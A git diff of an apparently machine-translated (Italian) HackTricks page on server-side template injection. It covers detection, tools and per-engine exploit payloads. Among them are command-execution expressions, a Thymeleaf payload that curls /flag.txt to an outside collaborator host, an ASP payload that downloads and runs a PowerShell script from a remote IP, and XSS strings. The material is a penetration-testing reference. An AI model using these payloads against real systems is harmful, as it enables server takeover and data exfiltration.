Translated ['pentesting-web/ssti-server-side-template-injection/README.m

This commit is contained in:
Translator 2024-08-12 14:42:03 +00:00
parent 443f40b3f5
commit 1fe0891cb5

View file

@ -1,27 +1,27 @@
# SSTI (Server Side Template Injection) # SSTI (Server Side Template Injection)
{% hint style="success" %} {% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Supporta HackTricks</summary> <summary>Support HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina. [**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## Cos'è SSTI (Server-Side Template Injection) ## What is SSTI (Server-Side Template Injection)
L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja. L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja.
@ -37,11 +37,11 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
``` ```
Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server. Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità. Per prevenire vulnerabilità da server-side template injection, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
### Rilevamento ### Rilevamento
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono: Per rilevare Server-Side Template Injection (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
* Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template. * Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
* Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari. * Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
@ -50,7 +50,7 @@ Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing
#### Fase di identificazione #### Fase di identificazione
Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico. Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
## Strumenti ## Strumenti
@ -75,7 +75,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
``` ```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table) ### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti. una tabella interattiva contenente i polyglot di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
## Exploits ## Exploits
@ -168,7 +168,7 @@ $out.read()
### Thymeleaf ### Thymeleaf
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti: In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per l'esecuzione remota di codice potenziale, possono essere utilizzate espressioni come le seguenti:
* SpringEL: * SpringEL:
@ -181,17 +181,17 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
``` ```
Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, _l'inserimento di espressioni_ è supportato per altre posizioni di template, utilizzando una sintassi come `[[...]]` o `[(...)]`. Pertanto, un semplice payload di test SSTI potrebbe apparire come `[[${7*7}]]`. Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, _l'inserimento di espressioni_ è supportato per altre posizioni del template, utilizzando una sintassi come `[[...]]` o `[(...)]`. Pertanto, un semplice payload di test SSTI potrebbe apparire come `[[${7*7}]]`.
Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio `TemplateResolver` per creare template da stringhe al volo, il che è raro. Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio `TemplateResolver` per creare template da stringhe al volo, il che è raro.
Thymeleaf offre anche _preprocessing delle espressioni_, dove le espressioni all'interno di doppi underscore (`__...__`) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione delle espressioni, come dimostrato nella documentazione di Thymeleaf: Thymeleaf offre anche _preprocessing delle espressioni_, dove le espressioni all'interno di doppi underscore (`__...__`) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf:
```java ```java
#{selection.__${sel.code}__} #{selection.__${sel.code}__}
``` ```
**Esempio di Vulnerabilità in Thymeleaf** **Esempio di Vulnerabilità in Thymeleaf**
Considera il seguente frammento di codice, che potrebbe essere suscettibile di sfruttamento: Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento:
```xml ```xml
<a th:href="@{__${path}__}" th:title="${title}"> <a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'> <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
@ -667,7 +667,7 @@ URLencoded:
* \= 49 * \= 49
**Lato Client** **Lato client**
```python ```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
``` ```
@ -741,7 +741,7 @@ home = pugjs.render(injected_page)
### Python ### Python
Controlla la seguente pagina per apprendere trucchi su **bypassare l'esecuzione di comandi arbitrari nelle sandbox** in python: Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di comandi arbitrari nelle sandbox** in python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -827,7 +827,7 @@ Controlla la seguente pagina per apprendere trucchi su **bypassare l'esecuzione
{{ joiner.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }}
``` ```
**Ulteriori dettagli su come abusare di Jinja**: **Maggiori dettagli su come abusare di Jinja**:
{% content-ref url="jinja2-ssti.md" %} {% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md) [jinja2-ssti.md](jinja2-ssti.md)
@ -876,13 +876,13 @@ Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avv
```xml ```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
``` ```
**Ulteriori Informazioni** **Ulteriori informazioni**
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
### Mojolicious (Perl) ### Mojolicious (Perl)
Anche se è Perl, utilizza tag come ERB in Ruby. Anche se è Perl, utilizza tag simili a ERB in Ruby.
* `<%= 7*7 %> = 49` * `<%= 7*7 %> = 49`
* `<%= foobar %> = Errore` * `<%= foobar %> = Errore`
@ -900,7 +900,7 @@ Nel motore di template di Go, la conferma del suo utilizzo può essere effettuat
**XSS Exploitation** **XSS Exploitation**
Con il pacchetto `text/template`, l'XSS può essere semplice inserendo il payload direttamente. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `&lt;script&gt;alert(1)&lt;/script&gt;`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} Con il pacchetto `text/template`, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `&lt;script&gt;alert(1)&lt;/script&gt;`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code vbnet Copy code
@ -917,7 +917,7 @@ return string(out)
``` ```
**Ulteriori informazioni** **Ulteriori informazioni**
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Altri Exploit ### Altri Exploit
@ -959,8 +959,8 @@ Se pensi possa essere utile, leggi:
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %} {% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>